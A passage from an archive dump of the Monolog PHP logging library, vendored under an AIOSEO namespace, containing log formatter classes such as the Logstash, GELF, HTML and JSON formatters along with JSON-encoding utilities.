'>=')) { return $this->toJson($data, \true); } return \str_replace('\\/', '/', $this->toJson($data, \true)); } protected function replaceNewlines($str) { if ($this->allowInlineLineBreaks) { if (0 === \strpos($str, '{')) { return \str_replace(array('\\r', '\\n'), array("\r", "\n"), $str); } return $str; } return \str_replace(array("\r\n", "\r", "\n"), ' ', $str); } } monolog/monolog/src/Monolog/Formatter/WildfireFormatter.php000066600000005716151733766740020236 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; use AIOSEO\Vendor\Monolog\Logger; /** * Serializes a log message according to Wildfire's header requirements * * @author Eric Clemmons (@ericclemmons) * @author Christophe Coevoet * @author Kirill chEbba Chebunin */ class WildfireFormatter extends NormalizerFormatter { const TABLE = 'table'; /** * Translates Monolog log levels to Wildfire levels. */ private $logLevels = array(Logger::DEBUG => 'LOG', Logger::INFO => 'INFO', Logger::NOTICE => 'INFO', Logger::WARNING => 'WARN', Logger::ERROR => 'ERROR', Logger::CRITICAL => 'ERROR', Logger::ALERT => 'ERROR', Logger::EMERGENCY => 'ERROR'); /** * {@inheritdoc} */ public function format(array $record) { // Retrieve the line and file if set and remove them from the formatted extra $file = $line = ''; if (isset($record['extra']['file'])) { $file = $record['extra']['file']; unset($record['extra']['file']); } if (isset($record['extra']['line'])) { $line = $record['extra']['line']; unset($record['extra']['line']); } $record = $this->normalize($record); $message = array('message' => $record['message']); $handleError = \false; if ($record['context']) { $message['context'] = $record['context']; $handleError = \true; } if ($record['extra']) { $message['extra'] = $record['extra']; $handleError = \true; } if (\count($message) === 1) { $message = \reset($message); } if (isset($record['context'][self::TABLE])) { $type = 'TABLE'; $label = $record['channel'] . ': ' . $record['message']; $message = $record['context'][self::TABLE]; } else { $type = $this->logLevels[$record['level']]; $label = $record['channel']; } // Create JSON object describing the appearance of the message in the console $json = $this->toJson(array(array('Type' => $type, 'File' => $file, 'Line' => $line, 'Label' => $label), $message), $handleError); // The message itself is a serialization of the above JSON object + it's length return \sprintf('%s|%s|', \strlen($json), $json); } public function formatBatch(array $records) { throw new \BadMethodCallException('Batch formatting does not make sense for the WildfireFormatter'); } protected function normalize($data, $depth = 0) { if (\is_object($data) && !$data instanceof \DateTime) { return $data; } return parent::normalize($data, $depth); } } monolog/monolog/src/Monolog/Formatter/LogstashFormatter.php000066600000012140151733766740020242 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; /** * Serializes a log message to Logstash Event Format * * @see http://logstash.net/ * @see https://github.com/logstash/logstash/blob/master/lib/logstash/event.rb * * @author Tim Mower */ class LogstashFormatter extends NormalizerFormatter { const V0 = 0; const V1 = 1; /** * @var string the name of the system for the Logstash log message, used to fill the @source field */ protected $systemName; /** * @var string an application name for the Logstash log message, used to fill the @type field */ protected $applicationName; /** * @var string a prefix for 'extra' fields from the Monolog record (optional) */ protected $extraPrefix; /** * @var string a prefix for 'context' fields from the Monolog record (optional) */ protected $contextPrefix; /** * @var int logstash format version to use */ protected $version; /** * @param string $applicationName the application that sends the data, used as the "type" field of logstash * @param string $systemName the system/machine name, used as the "source" field of logstash, defaults to the hostname of the machine * @param string $extraPrefix prefix for extra keys inside logstash "fields" * @param string $contextPrefix prefix for context keys inside logstash "fields", defaults to ctxt_ * @param int $version the logstash format version to use, defaults to 0 */ public function __construct($applicationName, $systemName = null, $extraPrefix = null, $contextPrefix = 'ctxt_', $version = self::V0) { // logstash requires a ISO 8601 format date with optional millisecond precision. parent::__construct('Y-m-d\\TH:i:s.uP'); $this->systemName = $systemName ?: \gethostname(); $this->applicationName = $applicationName; $this->extraPrefix = $extraPrefix; $this->contextPrefix = $contextPrefix; $this->version = $version; } /** * {@inheritdoc} */ public function format(array $record) { $record = parent::format($record); if ($this->version === self::V1) { $message = $this->formatV1($record); } else { $message = $this->formatV0($record); } return $this->toJson($message) . "\n"; } protected function formatV0(array $record) { if (empty($record['datetime'])) { $record['datetime'] = \gmdate('c'); } $message = array('@timestamp' => $record['datetime'], '@source' => $this->systemName, '@fields' => array()); if (isset($record['message'])) { $message['@message'] = $record['message']; } if (isset($record['channel'])) { $message['@tags'] = array($record['channel']); $message['@fields']['channel'] = $record['channel']; } if (isset($record['level'])) { $message['@fields']['level'] = $record['level']; } if ($this->applicationName) { $message['@type'] = $this->applicationName; } if (isset($record['extra']['server'])) { $message['@source_host'] = $record['extra']['server']; } if (isset($record['extra']['url'])) { $message['@source_path'] = $record['extra']['url']; } if (!empty($record['extra'])) { foreach ($record['extra'] as $key => $val) { $message['@fields'][$this->extraPrefix . $key] = $val; } } if (!empty($record['context'])) { foreach ($record['context'] as $key => $val) { $message['@fields'][$this->contextPrefix . $key] = $val; } } return $message; } protected function formatV1(array $record) { if (empty($record['datetime'])) { $record['datetime'] = \gmdate('c'); } $message = array('@timestamp' => $record['datetime'], '@version' => 1, 'host' => $this->systemName); if (isset($record['message'])) { $message['message'] = $record['message']; } if (isset($record['channel'])) { $message['type'] = $record['channel']; $message['channel'] = $record['channel']; } if (isset($record['level_name'])) { $message['level'] = $record['level_name']; } if ($this->applicationName) { $message['type'] = $this->applicationName; } if (!empty($record['extra'])) { foreach ($record['extra'] as $key => $val) { $message[$this->extraPrefix . $key] = $val; } } if (!empty($record['context'])) { foreach ($record['context'] as $key => $val) { $message[$this->contextPrefix . $key] = $val; } } return $message; } } monolog/monolog/src/Monolog/Formatter/GelfMessageFormatter.php000066600000010316151733766740020643 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Gelf\Message; /** * Serializes a log message to GELF * @see http://www.graylog2.org/about/gelf * * @author Matt Lehner */ class GelfMessageFormatter extends NormalizerFormatter { const DEFAULT_MAX_LENGTH = 32766; /** * @var string the name of the system for the Gelf log message */ protected $systemName; /** * @var string a prefix for 'extra' fields from the Monolog record (optional) */ protected $extraPrefix; /** * @var string a prefix for 'context' fields from the Monolog record (optional) */ protected $contextPrefix; /** * @var int max length per field */ protected $maxLength; /** * Translates Monolog log levels to Graylog2 log priorities. */ private $logLevels = array(Logger::DEBUG => 7, Logger::INFO => 6, Logger::NOTICE => 5, Logger::WARNING => 4, Logger::ERROR => 3, Logger::CRITICAL => 2, Logger::ALERT => 1, Logger::EMERGENCY => 0); public function __construct($systemName = null, $extraPrefix = null, $contextPrefix = 'ctxt_', $maxLength = null) { parent::__construct('U.u'); $this->systemName = $systemName ?: \gethostname(); $this->extraPrefix = $extraPrefix; $this->contextPrefix = $contextPrefix; $this->maxLength = \is_null($maxLength) ? self::DEFAULT_MAX_LENGTH : $maxLength; } /** * {@inheritdoc} */ public function format(array $record) { $record = parent::format($record); if (!isset($record['datetime'], $record['message'], $record['level'])) { throw new \InvalidArgumentException('The record should at least contain datetime, message and level keys, ' . \var_export($record, \true) . ' given'); } $message = new Message(); $message->setTimestamp($record['datetime'])->setShortMessage((string) $record['message'])->setHost($this->systemName)->setLevel($this->logLevels[$record['level']]); // message length + system name length + 200 for padding / metadata $len = 200 + \strlen((string) $record['message']) + \strlen($this->systemName); if ($len > $this->maxLength) { $message->setShortMessage(\substr($record['message'], 0, $this->maxLength)); } if (isset($record['channel'])) { $message->setFacility($record['channel']); } if (isset($record['extra']['line'])) { $message->setLine($record['extra']['line']); unset($record['extra']['line']); } if (isset($record['extra']['file'])) { $message->setFile($record['extra']['file']); unset($record['extra']['file']); } foreach ($record['extra'] as $key => $val) { $val = \is_scalar($val) || null === $val ? $val : $this->toJson($val); $len = \strlen($this->extraPrefix . $key . $val); if ($len > $this->maxLength) { $message->setAdditional($this->extraPrefix . $key, \substr($val, 0, $this->maxLength)); break; } $message->setAdditional($this->extraPrefix . $key, $val); } foreach ($record['context'] as $key => $val) { $val = \is_scalar($val) || null === $val ? $val : $this->toJson($val); $len = \strlen($this->contextPrefix . $key . $val); if ($len > $this->maxLength) { $message->setAdditional($this->contextPrefix . $key, \substr($val, 0, $this->maxLength)); break; } $message->setAdditional($this->contextPrefix . $key, $val); } if (null === $message->getFile() && isset($record['context']['exception']['file'])) { if (\preg_match("/^(.+):([0-9]+)\$/", $record['context']['exception']['file'], $matches)) { $message->setFile($matches[1]); $message->setLine($matches[2]); } } return $message; } } monolog/monolog/src/Monolog/Formatter/ChromePHPFormatter.php000066600000003574151733766740020256 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; use AIOSEO\Vendor\Monolog\Logger; /** * Formats a log message according to the ChromePHP array format * * @author Christophe Coevoet */ class ChromePHPFormatter implements FormatterInterface { /** * Translates Monolog log levels to Wildfire levels. */ private $logLevels = array(Logger::DEBUG => 'log', Logger::INFO => 'info', Logger::NOTICE => 'info', Logger::WARNING => 'warn', Logger::ERROR => 'error', Logger::CRITICAL => 'error', Logger::ALERT => 'error', Logger::EMERGENCY => 'error'); /** * {@inheritdoc} */ public function format(array $record) { // Retrieve the line and file if set and remove them from the formatted extra $backtrace = 'unknown'; if (isset($record['extra']['file'], $record['extra']['line'])) { $backtrace = $record['extra']['file'] . ' : ' . $record['extra']['line']; unset($record['extra']['file'], $record['extra']['line']); } $message = array('message' => $record['message']); if ($record['context']) { $message['context'] = $record['context']; } if ($record['extra']) { $message['extra'] = $record['extra']; } if (\count($message) === 1) { $message = \reset($message); } return array($record['channel'], $message, $backtrace, $this->logLevels[$record['level']]); } public function formatBatch(array $records) { $formatted = array(); foreach ($records as $record) { $formatted[] = $this->format($record); } return $formatted; } } monolog/monolog/src/Monolog/Formatter/FluentdFormatter.php000066600000004163151733766740020065 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; use AIOSEO\Vendor\Monolog\Utils; /** * Class FluentdFormatter * * Serializes a log message to Fluentd unix socket protocol * * Fluentd config: * * * type unix * path /var/run/td-agent/td-agent.sock * * * Monolog setup: * * $logger = new Monolog\Logger('fluent.tag'); * $fluentHandler = new Monolog\Handler\SocketHandler('unix:///var/run/td-agent/td-agent.sock'); * $fluentHandler->setFormatter(new Monolog\Formatter\FluentdFormatter()); * $logger->pushHandler($fluentHandler); * * @author Andrius Putna */ class FluentdFormatter implements FormatterInterface { /** * @var bool $levelTag should message level be a part of the fluentd tag */ protected $levelTag = \false; public function __construct($levelTag = \false) { if (!\function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s FluentdUnixFormatter'); } $this->levelTag = (bool) $levelTag; } public function isUsingLevelsInTag() { return $this->levelTag; } public function format(array $record) { $tag = $record['channel']; if ($this->levelTag) { $tag .= '.' . \strtolower($record['level_name']); } $message = array('message' => $record['message'], 'context' => $record['context'], 'extra' => $record['extra']); if (!$this->levelTag) { $message['level'] = $record['level']; $message['level_name'] = $record['level_name']; } return Utils::jsonEncode(array($tag, $record['datetime']->getTimestamp(), $message)); } public function formatBatch(array $records) { $message = ''; foreach ($records as $record) { $message .= $this->format($record); } return $message; } } monolog/monolog/src/Monolog/Formatter/LogglyFormatter.php000066600000002465151733766740017724 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; /** * Encodes message information into JSON in a format compatible with Loggly. * * @author Adam Pancutt */ class LogglyFormatter extends JsonFormatter { /** * Overrides the default batch mode to new lines for compatibility with the * Loggly bulk API. * * @param int $batchMode */ public function __construct($batchMode = self::BATCH_MODE_NEWLINES, $appendNewline = \false) { parent::__construct($batchMode, $appendNewline); } /** * Appends the 'timestamp' parameter for indexing by Loggly. * * @see https://www.loggly.com/docs/automated-parsing/#json * @see \Monolog\Formatter\JsonFormatter::format() */ public function format(array $record) { if (isset($record["datetime"]) && $record["datetime"] instanceof \DateTime) { $record["timestamp"] = $record["datetime"]->format("Y-m-d\\TH:i:s.uO"); // TODO 2.0 unset the 'datetime' parameter, retained for BC } return parent::format($record); } } monolog/monolog/src/Monolog/Formatter/ScalarFormatter.php000066600000002034151733766740017664 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; /** * Formats data into an associative array of scalar values. * Objects and arrays will be JSON encoded. * * @author Andrew Lawson */ class ScalarFormatter extends NormalizerFormatter { /** * {@inheritdoc} */ public function format(array $record) { foreach ($record as $key => $value) { $record[$key] = $this->normalizeValue($value); } return $record; } /** * @param mixed $value * @return mixed */ protected function normalizeValue($value) { $normalized = $this->normalize($value); if (\is_array($normalized) || \is_object($normalized)) { return $this->toJson($normalized, \true); } return $normalized; } } monolog/monolog/src/Monolog/Formatter/ElasticaFormatter.php000066600000003477151733766740020220 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; use AIOSEO\Vendor\Elastica\Document; /** * Format a log message into an Elastica Document * * @author Jelle Vink */ class ElasticaFormatter extends NormalizerFormatter { /** * @var string Elastic search index name */ protected $index; /** * @var string Elastic search document type */ protected $type; /** * @param string $index Elastic Search index name * @param string $type Elastic Search document type */ public function __construct($index, $type) { // elasticsearch requires a ISO 8601 format date with optional millisecond precision. parent::__construct('Y-m-d\\TH:i:s.uP'); $this->index = $index; $this->type = $type; } /** * {@inheritdoc} */ public function format(array $record) { $record = parent::format($record); return $this->getDocument($record); } /** * Getter index * @return string */ public function getIndex() { return $this->index; } /** * Getter type * @return string */ public function getType() { return $this->type; } /** * Convert a log message into an Elastica Document * * @param array $record Log message * @return Document */ protected function getDocument($record) { $document = new Document(); $document->setData($record); $document->setType($this->type); $document->setIndex($this->index); return $document; } } monolog/monolog/src/Monolog/Formatter/FlowdockFormatter.php000066600000004475151733766740020242 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; /** * formats the record to be used in the FlowdockHandler * * @author Dominik Liebler */ class FlowdockFormatter implements FormatterInterface { /** * @var string */ private $source; /** * @var string */ private $sourceEmail; /** * @param string $source * @param string $sourceEmail */ public function __construct($source, $sourceEmail) { $this->source = $source; $this->sourceEmail = $sourceEmail; } /** * {@inheritdoc} */ public function format(array $record) { $tags = array('#logs', '#' . \strtolower($record['level_name']), '#' . $record['channel']); foreach ($record['extra'] as $value) { $tags[] = '#' . $value; } $subject = \sprintf('in %s: %s - %s', $this->source, $record['level_name'], $this->getShortMessage($record['message'])); $record['flowdock'] = array('source' => $this->source, 'from_address' => $this->sourceEmail, 'subject' => $subject, 'content' => $record['message'], 'tags' => $tags, 'project' => $this->source); return $record; } /** * {@inheritdoc} */ public function formatBatch(array $records) { $formatted = array(); foreach ($records as $record) { $formatted[] = $this->format($record); } return $formatted; } /** * @param string $message * * @return string */ public function getShortMessage($message) { static $hasMbString; if (null === $hasMbString) { $hasMbString = \function_exists('mb_strlen'); } $maxLength = 45; if ($hasMbString) { if (\mb_strlen($message, 'UTF-8') > $maxLength) { $message = \mb_substr($message, 0, $maxLength - 4, 'UTF-8') . ' ...'; } } else { if (\strlen($message) > $maxLength) { $message = \substr($message, 0, $maxLength - 4) . ' ...'; } } return $message; } } monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php000066600000012062151733766740020603 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; use Exception; use AIOSEO\Vendor\Monolog\Utils; /** * Normalizes incoming records to remove objects/resources so it's easier to dump to various targets * * @author Jordi Boggiano */ class NormalizerFormatter implements FormatterInterface { const SIMPLE_DATE = "Y-m-d H:i:s"; protected $dateFormat; /** * @param string $dateFormat The format of the timestamp: one supported by DateTime::format */ public function __construct($dateFormat = null) { $this->dateFormat = $dateFormat ?: static::SIMPLE_DATE; if (!\function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s NormalizerFormatter'); } } /** * {@inheritdoc} */ public function format(array $record) { return $this->normalize($record); } /** * {@inheritdoc} */ public function formatBatch(array $records) { foreach ($records as $key => $record) { $records[$key] = $this->format($record); } return $records; } protected function normalize($data, $depth = 0) { if ($depth > 9) { return 'Over 9 levels deep, aborting normalization'; } if (null === $data || \is_scalar($data)) { if (\is_float($data)) { if (\is_infinite($data)) { return ($data > 0 ? '' : '-') . 'INF'; } if (\is_nan($data)) { return 'NaN'; } } return $data; } if (\is_array($data)) { $normalized = array(); $count = 1; foreach ($data as $key => $value) { if ($count++ > 1000) { $normalized['...'] = 'Over 1000 items (' . \count($data) . ' total), aborting normalization'; break; } $normalized[$key] = $this->normalize($value, $depth + 1); } return $normalized; } if ($data instanceof \DateTime) { return $data->format($this->dateFormat); } if (\is_object($data)) { // TODO 2.0 only check for Throwable if ($data instanceof Exception || \PHP_VERSION_ID > 70000 && $data instanceof \Throwable) { return $this->normalizeException($data); } // non-serializable objects that implement __toString stringified if (\method_exists($data, '__toString') && !$data instanceof \JsonSerializable) { $value = $data->__toString(); } else { // the rest is json-serialized in some way $value = $this->toJson($data, \true); } return \sprintf("[object] (%s: %s)", Utils::getClass($data), $value); } if (\is_resource($data)) { return \sprintf('[resource] (%s)', \get_resource_type($data)); } return '[unknown(' . \gettype($data) . ')]'; } protected function normalizeException($e) { // TODO 2.0 only check for Throwable if (!$e instanceof Exception && !$e instanceof \Throwable) { throw new \InvalidArgumentException('Exception/Throwable expected, got ' . \gettype($e) . ' / ' . Utils::getClass($e)); } $data = array('class' => Utils::getClass($e), 'message' => $e->getMessage(), 'code' => (int) $e->getCode(), 'file' => $e->getFile() . ':' . $e->getLine()); if ($e instanceof \SoapFault) { if (isset($e->faultcode)) { $data['faultcode'] = $e->faultcode; } if (isset($e->faultactor)) { $data['faultactor'] = $e->faultactor; } if (isset($e->detail)) { if (\is_string($e->detail)) { $data['detail'] = $e->detail; } elseif (\is_object($e->detail) || \is_array($e->detail)) { $data['detail'] = $this->toJson($e->detail, \true); } } } $trace = $e->getTrace(); foreach ($trace as $frame) { if (isset($frame['file'])) { $data['trace'][] = $frame['file'] . ':' . $frame['line']; } } if ($previous = $e->getPrevious()) { $data['previous'] = $this->normalizeException($previous); } return $data; } /** * Return the JSON representation of a value * * @param mixed $data * @param bool $ignoreErrors * @throws \RuntimeException if encoding fails and errors are not ignored * @return string */ protected function toJson($data, $ignoreErrors = \false) { return Utils::jsonEncode($data, null, $ignoreErrors); } } monolog/monolog/src/Monolog/Formatter/HtmlFormatter.php000066600000010760151733766740017370 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; /** * Formats incoming records into an HTML table * * This is especially useful for html email logging * * @author Tiago Brito */ class HtmlFormatter extends NormalizerFormatter { /** * Translates Monolog log levels to html color priorities. */ protected $logLevels = array(Logger::DEBUG => '#cccccc', Logger::INFO => '#468847', Logger::NOTICE => '#3a87ad', Logger::WARNING => '#c09853', Logger::ERROR => '#f0ad4e', Logger::CRITICAL => '#FF7708', Logger::ALERT => '#C12A19', Logger::EMERGENCY => '#000000'); /** * @param string $dateFormat The format of the timestamp: one supported by DateTime::format */ public function __construct($dateFormat = null) { parent::__construct($dateFormat); } /** * Creates an HTML table row * * @param string $th Row header content * @param string $td Row standard cell content * @param bool $escapeTd false if td content must not be html escaped * @return string */ protected function addRow($th, $td = ' ', $escapeTd = \true) { $th = \htmlspecialchars($th, \ENT_NOQUOTES, 'UTF-8'); if ($escapeTd) { $td = '
' . \htmlspecialchars($td, \ENT_NOQUOTES, 'UTF-8') . '
'; } return "\n{$th}:\n" . $td . "\n"; } /** * Create a HTML h1 tag * * @param string $title Text to be in the h1 * @param int $level Error level * @return string */ protected function addTitle($title, $level) { $title = \htmlspecialchars($title, \ENT_NOQUOTES, 'UTF-8'); return '

' . $title . '

'; } /** * Formats a log record. * * @param array $record A record to format * @return mixed The formatted record */ public function format(array $record) { $output = $this->addTitle($record['level_name'], $record['level']); $output .= ''; $output .= $this->addRow('Message', (string) $record['message']); $output .= $this->addRow('Time', $record['datetime']->format($this->dateFormat)); $output .= $this->addRow('Channel', $record['channel']); if ($record['context']) { $embeddedTable = '
'; foreach ($record['context'] as $key => $value) { $embeddedTable .= $this->addRow($key, $this->convertToString($value)); } $embeddedTable .= '
'; $output .= $this->addRow('Context', $embeddedTable, \false); } if ($record['extra']) { $embeddedTable = ''; foreach ($record['extra'] as $key => $value) { $embeddedTable .= $this->addRow($key, $this->convertToString($value)); } $embeddedTable .= '
'; $output .= $this->addRow('Extra', $embeddedTable, \false); } return $output . ''; } /** * Formats a set of log records. * * @param array $records A set of records to format * @return mixed The formatted set of records */ public function formatBatch(array $records) { $message = ''; foreach ($records as $record) { $message .= $this->format($record); } return $message; } protected function convertToString($data) { if (null === $data || \is_scalar($data)) { return (string) $data; } $data = $this->normalize($data); if (\version_compare(\PHP_VERSION, '5.4.0', '>=')) { return Utils::jsonEncode($data, \JSON_PRETTY_PRINT | \JSON_UNESCAPED_SLASHES | \JSON_UNESCAPED_UNICODE, \true); } return \str_replace('\\/', '/', Utils::jsonEncode($data, null, \true)); } } monolog/monolog/src/Monolog/Formatter/JsonFormatter.php000066600000012207151733766740017373 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; use Exception; use AIOSEO\Vendor\Monolog\Utils; use Throwable; /** * Encodes whatever record data is passed to it as json * * This can be useful to log to databases or remote APIs * * @author Jordi Boggiano */ class JsonFormatter extends NormalizerFormatter { const BATCH_MODE_JSON = 1; const BATCH_MODE_NEWLINES = 2; protected $batchMode; protected $appendNewline; /** * @var bool */ protected $includeStacktraces = \false; /** * @param int $batchMode * @param bool $appendNewline */ public function __construct($batchMode = self::BATCH_MODE_JSON, $appendNewline = \true) { $this->batchMode = $batchMode; $this->appendNewline = $appendNewline; } /** * The batch mode option configures the formatting style for * multiple records. By default, multiple records will be * formatted as a JSON-encoded array. However, for * compatibility with some API endpoints, alternative styles * are available. * * @return int */ public function getBatchMode() { return $this->batchMode; } /** * True if newlines are appended to every formatted record * * @return bool */ public function isAppendingNewlines() { return $this->appendNewline; } /** * {@inheritdoc} */ public function format(array $record) { return $this->toJson($this->normalize($record), \true) . ($this->appendNewline ? "\n" : ''); } /** * {@inheritdoc} */ public function formatBatch(array $records) { switch ($this->batchMode) { case static::BATCH_MODE_NEWLINES: return $this->formatBatchNewlines($records); case static::BATCH_MODE_JSON: default: return $this->formatBatchJson($records); } } /** * @param bool $include */ public function includeStacktraces($include = \true) { $this->includeStacktraces = $include; } /** * Return a JSON-encoded array of records. * * @param array $records * @return string */ protected function formatBatchJson(array $records) { return $this->toJson($this->normalize($records), \true); } /** * Use new lines to separate records instead of a * JSON-encoded array. * * @param array $records * @return string */ protected function formatBatchNewlines(array $records) { $instance = $this; $oldNewline = $this->appendNewline; $this->appendNewline = \false; \array_walk($records, function (&$value, $key) use($instance) { $value = $instance->format($value); }); $this->appendNewline = $oldNewline; return \implode("\n", $records); } /** * Normalizes given $data. * * @param mixed $data * * @return mixed */ protected function normalize($data, $depth = 0) { if ($depth > 9) { return 'Over 9 levels deep, aborting normalization'; } if (\is_array($data)) { $normalized = array(); $count = 1; foreach ($data as $key => $value) { if ($count++ > 1000) { $normalized['...'] = 'Over 1000 items (' . \count($data) . ' total), aborting normalization'; break; } $normalized[$key] = $this->normalize($value, $depth + 1); } return $normalized; } if ($data instanceof Exception || $data instanceof Throwable) { return $this->normalizeException($data); } if (\is_resource($data)) { return parent::normalize($data); } return $data; } /** * Normalizes given exception with or without its own stack trace based on * `includeStacktraces` property. * * @param Exception|Throwable $e * * @return array */ protected function normalizeException($e) { // TODO 2.0 only check for Throwable if (!$e instanceof Exception && !$e instanceof Throwable) { throw new \InvalidArgumentException('Exception/Throwable expected, got ' . \gettype($e) . ' / ' . Utils::getClass($e)); } $data = array('class' => Utils::getClass($e), 'message' => $e->getMessage(), 'code' => (int) $e->getCode(), 'file' => $e->getFile() . ':' . $e->getLine()); if ($this->includeStacktraces) { $trace = $e->getTrace(); foreach ($trace as $frame) { if (isset($frame['file'])) { $data['trace'][] = $frame['file'] . ':' . $frame['line']; } } } if ($previous = $e->getPrevious()) { $data['previous'] = $this->normalizeException($previous); } return $data; } } monolog/monolog/src/Monolog/Utils.php000066600000014510151733766740013732 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog; class Utils { /** * @internal */ public static function getClass($object) { $class = \get_class($object); return 'c' === $class[0] && 0 === \strpos($class, "class@anonymous\x00") ? \get_parent_class($class) . '@anonymous' : $class; } /** * Makes sure if a relative path is passed in it is turned into an absolute path * * @param string $streamUrl stream URL or path without protocol * * @return string */ public static function canonicalizePath($streamUrl) { $prefix = ''; if ('file://' === \substr($streamUrl, 0, 7)) { $streamUrl = \substr($streamUrl, 7); $prefix = 'file://'; } // other type of stream, not supported if (\false !== \strpos($streamUrl, '://')) { return $streamUrl; } // already absolute if (\substr($streamUrl, 0, 1) === '/' || \substr($streamUrl, 1, 1) === ':' || \substr($streamUrl, 0, 2) === '\\\\') { return $prefix . $streamUrl; } $streamUrl = \getcwd() . '/' . $streamUrl; return $prefix . $streamUrl; } /** * Return the JSON representation of a value * * @param mixed $data * @param int $encodeFlags flags to pass to json encode, defaults to JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE * @param bool $ignoreErrors whether to ignore encoding errors or to throw on error, when ignored and the encoding fails, "null" is returned which is valid json for null * @throws \RuntimeException if encoding fails and errors are not ignored * @return string */ public static function jsonEncode($data, $encodeFlags = null, $ignoreErrors = \false) { if (null === $encodeFlags && \version_compare(\PHP_VERSION, '5.4.0', '>=')) { $encodeFlags = \JSON_UNESCAPED_SLASHES | \JSON_UNESCAPED_UNICODE; } if ($ignoreErrors) { $json = @\json_encode($data, $encodeFlags); if (\false === $json) { return 'null'; } return $json; } $json = \json_encode($data, $encodeFlags); if (\false === $json) { $json = self::handleJsonError(\json_last_error(), $data); } return $json; } /** * Handle a json_encode failure. * * If the failure is due to invalid string encoding, try to clean the * input and encode again. If the second encoding attempt fails, the * inital error is not encoding related or the input can't be cleaned then * raise a descriptive exception. * * @param int $code return code of json_last_error function * @param mixed $data data that was meant to be encoded * @param int $encodeFlags flags to pass to json encode, defaults to JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE * @throws \RuntimeException if failure can't be corrected * @return string JSON encoded data after error correction */ public static function handleJsonError($code, $data, $encodeFlags = null) { if ($code !== \JSON_ERROR_UTF8) { self::throwEncodeError($code, $data); } if (\is_string($data)) { self::detectAndCleanUtf8($data); } elseif (\is_array($data)) { \array_walk_recursive($data, array('AIOSEO\\Vendor\\Monolog\\Utils', 'detectAndCleanUtf8')); } else { self::throwEncodeError($code, $data); } if (null === $encodeFlags && \version_compare(\PHP_VERSION, '5.4.0', '>=')) { $encodeFlags = \JSON_UNESCAPED_SLASHES | \JSON_UNESCAPED_UNICODE; } $json = \json_encode($data, $encodeFlags); if ($json === \false) { self::throwEncodeError(\json_last_error(), $data); } return $json; } /** * Throws an exception according to a given code with a customized message * * @param int $code return code of json_last_error function * @param mixed $data data that was meant to be encoded * @throws \RuntimeException */ private static function throwEncodeError($code, $data) { switch ($code) { case \JSON_ERROR_DEPTH: $msg = 'Maximum stack depth exceeded'; break; case \JSON_ERROR_STATE_MISMATCH: $msg = 'Underflow or the modes mismatch'; break; case \JSON_ERROR_CTRL_CHAR: $msg = 'Unexpected control character found'; break; case \JSON_ERROR_UTF8: $msg = 'Malformed UTF-8 characters, possibly incorrectly encoded'; break; default: $msg = 'Unknown error'; } throw new \RuntimeException('JSON encoding failed: ' . $msg . '. Encoding: ' . \var_export($data, \true)); } /** * Detect invalid UTF-8 string characters and convert to valid UTF-8. * * Valid UTF-8 input will be left unmodified, but strings containing * invalid UTF-8 codepoints will be reencoded as UTF-8 with an assumed * original encoding of ISO-8859-15. This conversion may result in * incorrect output if the actual encoding was not ISO-8859-15, but it * will be clean UTF-8 output and will not rely on expensive and fragile * detection algorithms. * * Function converts the input in place in the passed variable so that it * can be used as a callback for array_walk_recursive. * * @param mixed $data Input to check and convert if needed, passed by ref * @private */ public static function detectAndCleanUtf8(&$data) { if (\is_string($data) && !\preg_match('//u', $data)) { $data = \preg_replace_callback('/[\\x80-\\xFF]+/', function ($m) { return \utf8_encode($m[0]); }, $data); $data = \str_replace(array('¤', '¦', '¨', '´', '¸', '¼', '½', '¾'), array('€', 'Š', 'š', 'Ž', 'ž', 'Œ', 'œ', 'Ÿ'), $data); } } } monolog/monolog/src/Monolog/ResettableInterface.php000066600000001674151733766740016554 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog; /** * Handler or Processor implementing this interface will be reset when Logger::reset() is called. * * Resetting ends a log cycle gets them back to their initial state. * * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal * state, and getting it back to a state in which it can receive log records again. * * This is useful in case you want to avoid logs leaking between two requests or jobs when you * have a long running process like a worker or an application server serving multiple requests * in one process. * * @author Grégoire Pineau */ interface ResettableInterface { public function reset(); } monolog/monolog/src/Monolog/Processor/ProcessorInterface.php000066600000001026151733766740020407 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Processor; /** * An optional interface to allow labelling Monolog processors. * * @author Nicolas Grekas */ interface ProcessorInterface { /** * @return array The processed records */ public function __invoke(array $records); } 